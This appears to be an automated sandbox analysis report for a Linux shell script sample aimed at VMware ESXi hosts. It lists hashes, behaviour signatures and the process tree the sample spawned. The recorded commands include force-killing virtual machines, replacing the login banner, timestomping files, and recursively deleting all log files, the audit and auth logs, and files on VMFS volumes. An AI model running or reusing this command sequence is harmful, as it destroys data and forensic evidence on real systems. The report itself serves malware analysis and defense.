Analysis
-
max time kernel
3s -
max time network
1678s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
-
submitted
25-02-2024 14:29
General
-
Target
script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh
-
Size
4KB
-
MD5
34de9725e232ba82275bb0dcf9282e16
-
SHA1
b17403e7dcb992ba8d2b56dd843406264d3910e5
-
SHA256
aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58
-
SHA512
1e63fe08153e6b3c1b3593fcc070d297a1d0e67ffc3b7f3fc58b71b4b39487f1fe738b863ea5e23c21159b248bc2149a69009ee5372ff17d386effc4f2111fd7
Score
7/10
Malware Config
Signatures
-
Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
-
Deletes log files 1 TTPs 11 IoCs
Deletes log files on the system.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 17 IoCs
-
Reads hardware information 1 TTPs 1 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Reads network interface configuration 2 TTPs 12 IoCs
Fetches information about one or more active network interfaces.
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes
-
/tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh/tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh1⤵
-
/usr/bin/chmodchmod +x /tmp/164f8295_linux.elf2⤵
-
-
/usr/bin/awkawk -F "," "NR > 1 {system(\"esxcli vm process kill --type=force --world-id=\" \$1)}"2⤵
-
-
/usr/bin/findfind /usr/lib/vmware -type f -name index.html2⤵
-
-
/usr/bin/mvmv /etc/motd /etc/motd.backup2⤵
-
-
/usr/bin/cpcp /tmp/motd /etc/motd2⤵
-
-
/usr/bin/touchtouch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf2⤵
-
-
/usr/bin/touchtouch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh2⤵
-
-
/usr/bin/touchtouch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh2⤵
-
-
/usr/bin/findfind / -name "*.log" -exec rm -rf "{}" ";"2⤵
- Reads CPU attributes
- Reads hardware information
- Reads network interface configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/usr/local/sbin/rmrm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log3⤵
-
-
/usr/sbin/rmrm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log3⤵
-
-
/usr/bin/rmrm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log3⤵
-
-
/usr/local/sbin/rmrm -rf /var/log/auth.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/auth.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/auth.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/auth.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/kern.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/kern.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/kern.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/kern.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/fontconfig.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/fontconfig.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/fontconfig.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/fontconfig.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/gpu-manager.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/gpu-manager.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/gpu-manager.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/gpu-manager.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/audit/audit.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/audit/audit.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/audit/audit.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/audit/audit.log3⤵
- Deletes Audit logs
-
-
/usr/local/sbin/rmrm -rf /var/log/dpkg.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/dpkg.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/dpkg.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/dpkg.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/ubuntu-advantage.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/ubuntu-advantage.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/ubuntu-advantage.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/ubuntu-advantage.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/apt/history.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/apt/history.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/apt/history.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/apt/history.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/apt/term.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/apt/term.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/apt/term.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/apt/term.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/alternatives.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/alternatives.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/alternatives.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/alternatives.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /var/log/Xorg.0.log3⤵
-
-
/usr/local/bin/rmrm -rf /var/log/Xorg.0.log3⤵
-
-
/usr/sbin/rmrm -rf /var/log/Xorg.0.log3⤵
-
-
/usr/bin/rmrm -rf /var/log/Xorg.0.log3⤵
- Deletes log files
-
-
/usr/local/sbin/rmrm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log3⤵
-
-
/usr/local/bin/rmrm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log3⤵
-
-
/usr/sbin/rmrm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log3⤵
-
-
/usr/bin/rmrm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log3⤵
-
-
/usr/local/sbin/rmrm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log3⤵
-
-
/usr/local/bin/rmrm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log3⤵
-
-
/usr/sbin/rmrm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log3⤵
-
-
/usr/bin/rmrm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log3⤵
-
-
/usr/local/sbin/rmrm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log3⤵
-
-
/usr/local/bin/rmrm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log3⤵
-
-
/usr/sbin/rmrm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log3⤵
-
-
/usr/bin/rmrm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log3⤵
-
-
/usr/local/sbin/rmrm -rf /run/initramfs/fsck.log3⤵
-
-
/usr/local/bin/rmrm -rf /run/initramfs/fsck.log3⤵
-
-
/usr/sbin/rmrm -rf /run/initramfs/fsck.log3⤵
-
-
/usr/bin/rmrm -rf /run/initramfs/fsck.log3⤵
-
-
-
/usr/bin/findfind /vmfs/volumes -type f -name "*.*~" -exec rm -rf "{}" ";"2⤵
-
-
/usr/bin/rmrm -f /tmp/164f8295_linux.elf /tmp/index.html /tmp/motd2⤵
-
-
/bin/sh/bin/sh /bin/auto-backup.sh2⤵
-
-
/usr/bin/rmrm -- /tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh2⤵
-
-
/etc/init.d/SSH/etc/init.d/SSH start2⤵
-
-
/usr/bin/grepgrep vmx1⤵
-
/usr/bin/awkawk "{print \$2}"1⤵
-
/usr/bin/psps1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "NR > 2 { print \$1 }"1⤵
-
/usr/bin/awkawk "-F " "{print \$2}"1⤵
-
/usr/bin/grepgrep /vmfs/volumes/1⤵
-
/usr/bin/wcwc -l1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep 164f8295_linux.elf1⤵
-
/usr/bin/psps1⤵
- Reads CPU attributes
-
/usr/bin/wcwc -l1⤵
-
/usr/bin/grepgrep " 7."1⤵
-
/bin/vmware/bin/vmware -l1⤵